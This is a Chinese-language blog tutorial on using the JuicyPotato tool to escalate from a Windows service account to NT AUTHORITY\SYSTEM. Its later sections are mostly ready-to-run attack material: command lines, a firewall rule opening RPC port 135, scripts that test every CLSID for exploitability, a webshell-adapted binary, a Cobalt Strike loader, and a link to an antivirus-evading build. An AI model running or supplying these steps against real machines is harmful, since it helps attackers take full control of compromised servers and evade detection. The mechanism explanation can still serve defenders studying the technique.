提權小神器-JuicyPotato多種應用場景詳解

0X00-Juicy-Potato簡介

Juicy Potato江湖人稱爛土豆,是在MS16-075漏洞利用工具RottenPotatoN工具的基礎上做了擴展(A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM*)

追根到底是一款Windows的本地提權工具,利用了COM對象進行提權,相比RottenPotatoNG適用範圍更加廣泛(正如作者所說with a bit of juice)

使用Juicy Potato這款提權工具的前提是獲得了SeImpersonate或者SeAssignPrimaryToken權限,因此帶有一定的侷限性,對權限有一定要求,並非萬能神器

Juicy Potato的項目官網如下:

https://github.com/ohpe/juicy-potato

這款提權工具其實早在18年末就有人開發出來了,但是吧,依然沒有進入到很多人的視野中,今天寫這篇文章也是站在很多大佬的肩膀上進行總結與開新枝,如有錯誤,希望大家能及時斧正

img

0x01-Juicy-potato項目功能點

①Target CLSID

選擇你想要的任何CLSID。

目前作者的官方github項目中已經給出了windows版本的CLSID列表。

②COM Listening port

設置你需要的COM偵聽端口

③COM Listening IP address

設置COM組件監聽的目標ip

④Process creation mode

取決於模擬用戶的權限,有以下三個選擇:

CreateProcessWithToken (需要SeImpersonate權限)

CreateProcessAsUser (需要SeAssignPrimaryToken權限)

both(綜合以上兩種)

⑤Process to launch

如果JuIcy potato利用成功,則啓動可執行文件或腳本

⑥Process Argument

自定義已啓動的進程參數

⑦與遠程RPC服務器交互

0x02-Juicy-Potato侷限性

①當前用戶必須具有以下權限中的一種,或者兩種同時具備

SeImpersonate權限

SeAssignPrimaryToken權限

以下用戶具有該權限:

· 本地管理員組成員和本地服務帳戶

· 由服務控制管理器啓動的服務

· COM基礎結構啓動的並配置爲在特定帳戶下運行的COM服務器

針對提權的話,主要是第三類用戶

常見的爲LocalService用戶,例如IIS和者sqlserver的用戶

②開啓DCOM,並能找到可用的COM對象

③開啓RPC

0x03-原理(來自3g大佬)

· LocalService用戶默認具有SeImpersonate和SeAssignPrimaryToken權限

· 開啓SeImpersonate權限後,能夠在調用CreateProcessWithToken時,傳入新的Token創建新的進程

· 開啓SeAssignPrimaryToken權限後,能夠在調用CreateProcessAsUser時,傳入新的Token創建新的進程

Juicy Potato的實現流程如下:

1、加載COM,發出請求,權限爲System

在指定ip和端口的位置嘗試加載一個COM對象。

RottenPotatoNG使用的COM對象爲BITS,CLSID爲{4991d34b-80a1-4291-83b6-3328366b9097}

可供選擇的COM對象不唯一,Juicy Potato提供了多個,詳細列表可參考如下地址:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

2、迴應步驟1的請求,發起NTLM認證

正常情況下,由於權限不足,當前權限不是System,無法認證成功。

3、針對本地端口,同樣發起NTLM認證,權限爲當前用戶

由於權限爲當前用戶,所以NTLM認證能夠成功完成。

RottenPotatoNG使用的135端口。

Juicy Potato支持指定任意本地端口,但是RPC一般默認爲135端口,很少被修改。

4、分別攔截兩個NTLM認證的數據包,替換數據,通過NTLM重放使得步驟1(權限爲System)的NTLM認證通過,獲得System權限的Token

重放時需要注意NTLM認證的NTLM Server Challenge不同,需要修正。

5、利用System權限的Token創建新進程

如果開啓SeImpersonate權限,調用CreateProcessWithToken,傳入System權限的Token,創建的進程爲System權限。

如果開啓SeAssignPrimaryToken權限,調用CreateProcessAsUser,傳入System權限的Token,創建的進程爲System權限

0x04-在命令行中使用

D:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess調用: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: 運行指定程序
-l <port>: COM服務器偵聽端口


Optional args:
-m <ip>: COM服務器偵聽地址 (默認 127.0.0.1)
-a <argument>: 傳遞給程序命令行參數 (默認 NULL)
-k <ip>: RPC服務器IP地址 (默認 127.0.0.1)
-n <port>: RPC服務器偵聽端口 (默認 135)
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z 僅測試CLSID並打印令牌的用戶

1、查看當前用戶權限,是否符合要求

whoami /priv

如果開啓SeImpersonate權限,juicypotato的參數可以使用-t t

如果開啓SeAssignPrimaryToken權限,juicypotato的參數可以使用-t u

如果均開啓,可以選擇-t *

如果均未開啓,那麼無法提權。

8LJkcQ.png

2、查看RPC默認端口是否爲135

如果被修改(例如爲111),juicypotato的參數可以使用-n 111指定RPC端口

如果系統禁用了RPC,並不是一定無法提權,需要滿足如下條件:

找到另一系統,能夠以當前用戶的權限進行遠程RPC登錄,此時juicypotato的參數可以使用-k

Windows默認配置下,允許135端口的入站規則即可進行遠程RPC登錄。

添加防火牆規則允許135端口入站的命令如下:

netsh advfirewall firewall add rule name=“135” protocol=TCP dir=in localport=135 action=allow

3、選擇可用的CLSID

參考列表

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

根據你的系統類型選擇CLSID(EG:{9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

然後-c指定即可

在這裏插入圖片描述

相關係統使用的CLSID文末都給大家打包了

4、選擇一個系統未佔用的端口作爲監聽端口

-l參數指定即可

例如,最終參數如下:

JuicyPotato.exe -t t -p c:\windows\system32\cmd.exe -l 1111 -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D})

即使用SeImpersonate權限創建進程,監聽端口1111,使用的CLSID爲{8BC3F05E-D86B-11D0-A075-00C04FB68820}來進行提權

5.執行效果

在這裏插入圖片描述

0x05-在Webshell中使用JuicyPotato

webshell中使用Juicy-Potato的提權的話

Juicy potato需要進行一些特殊處理,使其直接返回結果

實現起來比較簡單,在我文章後附有文件JuicyPotato-webshell.exe

其默認使用的CLSID爲{4991d34b-80a1-4291-83b6-3328366b9097}

直接執行JuicyPotato-webshell.exe -p “whoami”

或者JuicyPotato-webshell.exe -p “whoami” -c {XXXXX}即可

執行效果如圖

8LX2dO.png

0x06-在命令行中批量提取當前系統的CLSID

官方給出的code如下

<#
This script extracts CLSIDs and AppIDs related to LocalService.DESCRIPTION
Then exports to CSV
#>

$ErrorActionPreference = "Stop"

# Importing some requirements
. .\utils\Join-Object.ps1

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT

$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}

$APPID = Get-ItemProperty HKCR:\appid\* | select-object localservice,@{N='AppID'; E={$_.pschildname}} | where-object {$_.LocalService -ne $null}

$RESULT = Join-Object -Left $APPID -Right $CLSID -LeftJoinProperty AppID -RightJoinProperty AppID -Type AllInRight  | Sort-Object LocalService

# Preparing to Output
$OS = (Get-WmiObject -Class Win32_OperatingSystem | ForEach-Object -MemberName Caption).Trim() -Replace "Microsoft ", ""
$TARGET = $OS -Replace " ","_"

# Make target folder
New-Item -ItemType Directory -Force -Path .\$TARGET

# Output in a CSV
$RESULT | Export-Csv -Path ".\$TARGET\CLSIDs.csv" -Encoding ascii -NoTypeInformation

# Export CLSIDs list
$RESULT | Select CLSID -ExpandProperty CLSID | Out-File -FilePath ".\$TARGET\CLSID.list" -Encoding ascii

# Visual Table
$RESULT | ogv

部分系統中是無法正常提取的,會報錯

在此貼上修復的powershell提取腳本

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT | Out-Null
$CLSID = Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}
foreach($a in $CLSID)
{
	Write-Host $a.CLSID
}

直接執行Powershell -ep bypass -f get-clid-2012.ps1即可

效果如圖

8OSa8g.png

0x07-在目標機批量驗證CLSID提權可用性

官方給出的批處理腳本經過測試後,問題非常多,本人做了一下修改

code如下–juicypotato.bat

@echo off
:: Starting port, you can change it
set /a port=10000
SETLOCAL ENABLEDELAYEDEXPANSION

FOR /F %%i IN (CLSID.list) DO (
   echo %%i !port!
   juicypotato-webshell.exe -c %%i -p "whoami" >> result.log
   set RET=!ERRORLEVEL!
   :: echo !RET!
   if "!RET!" == "1"  set /a port=port+1
)

執行後在同目錄下生成一個result.log文件

記錄測試不同CLSID使用爛土豆提權的結果

效果如圖所示
在這裏插入圖片描述

隨後根據log的相關輸出,選擇合適的CLSID進行權限提升即可

0x08-在Cobaltstrike中使用Juicypotato提權

在Cobaltstrike中使用Juicypotato提取,是使用DLL注入的方式執行Juicypotato實現權限提升

但是缺陷比較明顯,只能使用默認的CLSID({4991d34b-80a1-4291-83b6-3328366b9097})進行提權,如果想使用其他CLSID請參考命令行等執行方法

下載並解壓reflectiveJuicyPotato.zip,在Cobaltstike中選擇腳本管理器–>load加載juicypotato.cna腳本

隨後我們在提權模塊即可發現多了一個JuicyPotato

8OEXz6.png

點擊開始後,提權效果如圖

在這裏插入圖片描述

權限提升至NT AUTHORITY\SYSTEM

0X09福利/實驗資源下載

本次實驗環境中的原版JuicyPotato,JuicyPotato-webshell,Get-CLSID.ps1,批處理文件,Cobaltstrike腳本都已經給大家集成好了

聽說JuicyPotato已經加入豪華全家桶系列?沒事,咱有免殺版本

懂C的人也可以自己修改一下源代碼,很好過殺軟的

全部的腳本及程序下載
鏈接:https://pan.baidu.com/s/1lsbcCkZPSvHwhxsm8k_tuw
提取碼:w6hl

0X10 Reference

https://github.com/ohpe/juicy-potato/tree/master/CLSID/

https://github.com/ohpe/juicy-potato

https://3gstudent.github.io

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章